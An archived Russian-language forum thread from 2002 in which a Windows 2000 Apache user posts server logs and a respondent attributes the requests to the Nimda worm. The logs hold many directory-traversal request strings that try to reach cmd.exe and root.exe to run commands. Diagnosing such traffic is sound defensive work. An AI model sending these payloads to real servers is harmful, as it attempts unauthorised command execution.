The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

форумы  помощь  поиск  регистрация  майллист  ВХОД  слежка  RSS
"Вопрос к ГУРУ АПАЧИ."
Вариант для распечатки Архивированная нить - только для чтения! 
Пред. тема | След. тема 
Форумы Разговоры, обсуждение новостей (Public)
Изначальное сообщение [Проследить за развитием треда]

"Вопрос к ГУРУ АПАЧИ."
Сообщение от andruxa email on 10-Июл-02, 13:17 
народ такая проблема под вин2000 автоматически запускался сервак(апачи) а я и незнал. сегодня посмотрел логи а там такая хрень растолкуйте что это значит. меня ломали???

access.log -----

80.143.160.183 - - [01/Jul/2002:14:04:10 +0400] "GET /scripts/..ю╞../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 315
80.143.160.183 - - [01/Jul/2002:14:04:20 +0400] "GET /scripts/.%2e/.%2e/winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 318
62.82.161.221 - - [01/Jul/2002:19:11:29 +0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 282
62.82.161.221 - - [01/Jul/2002:19:11:37 +0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 280
62.82.161.221 - - [01/Jul/2002:19:11:45 +0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290
62.82.161.221 - - [01/Jul/2002:19:11:52 +0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290
62.82.161.221 - - [01/Jul/2002:19:12:00 +0400] "GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
62.82.161.221 - - [01/Jul/2002:19:12:08 +0400] "GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321
62.82.161.221 - - [01/Jul/2002:19:12:22 +0400] "GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321
62.82.161.221 - - [01/Jul/2002:19:12:31 +0400] "GET /msadc/..%5c../..%5c../..%5c/..а../..а../..а../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 337
62.49.36.154 - - [03/Jul/2002:16:10:14 +0400] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 282
62.49.36.154 - - [03/Jul/2002:16:10:15 +0400] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 280
62.49.36.154 - - [03/Jul/2002:16:10:17 +0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290
62.49.36.154 - - [03/Jul/2002:16:10:18 +0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290
62.49.36.154 - - [03/Jul/2002:16:10:19 +0400] "GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
62.49.36.154 - - [03/Jul/2002:16:10:21 +0400] "GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321
62.49.36.154 - - [03/Jul/2002:16:10:22 +0400] "GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321
62.49.36.154 - - [03/Jul/2002:16:10:26 +0400] "GET /msadc/..%5c../..%5c../..%5c/..а../..а../..а../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 337
62.49.36.154 - - [03/Jul/2002:16:10:37 +0400] "GET /scripts/..а../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.49.36.154 - - [03/Jul/2002:16:10:39 +0400] "GET /scripts/..ю/../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.49.36.154 - - [03/Jul/2002:16:10:40 +0400] "GET /scripts/..ю╞../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.49.36.154 - - [03/Jul/2002:16:10:41 +0400] "GET /scripts/..а°../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
62.49.36.154 - - [03/Jul/2002:16:10:42 +0400] "GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 287
62.49.36.154 - - [03/Jul/2002:16:10:43 +0400] "GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 287
62.49.36.154 - - [03/Jul/2002:16:10:45 +0400] "GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
62.49.36.154 - - [03/Jul/2002:16:10:45 +0400] "GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
62.234.4.142 - - [06/Jul/2002:15:21:14 +0400] "GET /scripts/..ю╞../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 315
62.234.4.142 - - [06/Jul/2002:15:21:18 +0400] "GET /scripts/.%2e/.%2e/winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 318
67.104.42.180 - - [06/Jul/2002:16:47:39 +0400] "GET /scripts/..%5c%5c../winnt/system32/cmd.exe?/c+dir" 404 -
64.165.200.26 - - [06/Jul/2002:17:11:59 +0400] "GET /scripts/..ю╞../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 315
64.165.200.26 - - [06/Jul/2002:17:11:59 +0400] "GET /scripts/.%2e/.%2e/winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 318
217.228.167.7 - - [08/Jul/2002:11:56:24 +0400] "GET /scripts/..ю╞../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 315
217.228.167.7 - - [08/Jul/2002:11:56:24 +0400] "GET /scripts/.%2e/.%2e/winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 318


erorr.log-----

[Mon Jul 01 14:04:10 2002] [error] [client 80.143.160.183] File does not exist: c:/program files/apache/apache/htdocs/scripts/..АЇ/winnt/system32/cmd.exe
[Mon Jul 01 14:04:20 2002] [error] [client 80.143.160.183] File does not exist: c:/program files/apache/apache/htdocs/scripts/../../winnt/system32/cmd.exe
[Mon Jul 01 19:11:29 2002] [error] [client 62.82.161.221] File does not exist: c:/program files/apache/apache/htdocs/scripts/root.exe
[Mon Jul 01 19:11:37 2002] [error] [client 62.82.161.221] File does not exist: c:/program files/apache/apache/htdocs/msadc/root.exe
[Mon Jul 01 19:11:45 2002] [error] [client 62.82.161.221] File does not exist: c:/program files/apache/apache/htdocs/c/winnt/system32/cmd.exe
[Mon Jul 01 19:11:52 2002] [error] [client 62.82.161.221] File does not exist: c:/program files/apache/apache/htdocs/d/winnt/system32/cmd.exe
[Mon Jul 01 19:12:00 2002] [error] [client 62.82.161.221] File does not exist: c:/program files/apache/apache/htdocs/scripts/..\/winnt/system32/cmd.exe
[Mon Jul 01 19:12:08 2002] [error] [client 62.82.161.221] File does not exist: c:/program files/apache/apache/htdocs/_vti_bin/..\/..\/..\/winnt/system32/cmd.exe
[Mon Jul 01 19:12:22 2002] [error] [client 62.82.161.221] File does not exist: c:/program files/apache/apache/htdocs/_mem_bin/..\/..\/..\/winnt/system32/cmd.exe
[Mon Jul 01 19:12:31 2002] [error] [client 62.82.161.221] File does not exist: c:/program files/apache/apache/htdocs/msadc/..\/..\/..\/..Б/..Б/..Б/winnt/system32/cmd.exe
[Wed Jul 03 16:10:14 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/scripts/root.exe
[Wed Jul 03 16:10:15 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/msadc/root.exe
[Wed Jul 03 16:10:17 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/c/winnt/system32/cmd.exe
[Wed Jul 03 16:10:18 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/d/winnt/system32/cmd.exe
[Wed Jul 03 16:10:19 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/scripts/..\/winnt/system32/cmd.exe
[Wed Jul 03 16:10:21 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/_vti_bin/..\/..\/..\/winnt/system32/cmd.exe
[Wed Jul 03 16:10:22 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/_mem_bin/..\/..\/..\/winnt/system32/cmd.exe
[Wed Jul 03 16:10:26 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/msadc/..\/..\/..\/..Б/..Б/..Б/winnt/system32/cmd.exe
[Wed Jul 03 16:10:37 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/scripts/..Б/winnt/system32/cmd.exe
[Wed Jul 03 16:10:40 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/scripts/..АЇ/winnt/system32/cmd.exe
[Wed Jul 03 16:10:41 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/scripts/..Бњ/winnt/system32/cmd.exe
[Wed Jul 03 16:10:45 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/scripts/..\/winnt/system32/cmd.exe
[Wed Jul 03 16:10:45 2002] [error] [client 62.49.36.154] File does not exist: c:/program files/apache/apache/htdocs/scripts/..//winnt/system32/cmd.exe
[Sat Jul 06 15:21:14 2002] [error] [client 62.234.4.142] File does not exist: c:/program files/apache/apache/htdocs/scripts/..АЇ/winnt/system32/cmd.exe
[Sat Jul 06 15:21:18 2002] [error] [client 62.234.4.142] File does not exist: c:/program files/apache/apache/htdocs/scripts/../../winnt/system32/cmd.exe
[Sat Jul 06 16:47:39 2002] [error] [client 67.104.42.180] File does not exist: c:/program files/apache/apache/htdocs/scripts/..\\/winnt/system32/cmd.exe
[Sat Jul 06 17:11:59 2002] [error] [client 64.165.200.26] File does not exist: c:/program files/apache/apache/htdocs/scripts/..АЇ/winnt/system32/cmd.exe
[Sat Jul 06 17:11:59 2002] [error] [client 64.165.200.26] File does not exist: c:/program files/apache/apache/htdocs/scripts/../../winnt/system32/cmd.exe
[Mon Jul 08 11:56:24 2002] [error] [client 217.228.167.7] File does not exist: c:/program files/apache/apache/htdocs/scripts/..АЇ/winnt/system32/cmd.exe
[Mon Jul 08 11:56:24 2002] [error] [client 217.228.167.7] File does not exist: c:/program files/apache/apache/htdocs/scripts/../../winnt/system32/cmd.exe

Cообщить модератору | Наверх | ^

 Оглавление

Сообщения по теме [Сортировка по времени, UBB]


1. "RE: Вопрос к ГУРУ АПАЧИ."
Сообщение от НеГур on 12-Июл-02, 07:18 
>народ такая проблема под вин2000 автоматически запускался сервак(апачи) а я и незнал.
>сегодня посмотрел логи а там такая хрень растолкуйте что это значит.
>меня ломали???

Все цитировать не буду. Я, в общем-то, не гуру. Но это похоже на попытку распространения вируса Nimda. Смотри описание вируса. Интересно, что он пытается лезть без разбору по приведенным путям даже на Апач на Унихе! :)

Скорее всего заражения не произошло, но посмотреть комп на вирусы стоит. И окружение тоже -- ведь ломился же откуда-то?

И еще придется посмотреть, что еще "крутится" на серваке. Может еще что интересное найдешь? :)

Cообщить модератору | Наверх | ^

Удалить

Индекс форумов | Темы | Пред. тема | След. тема




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей 		Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру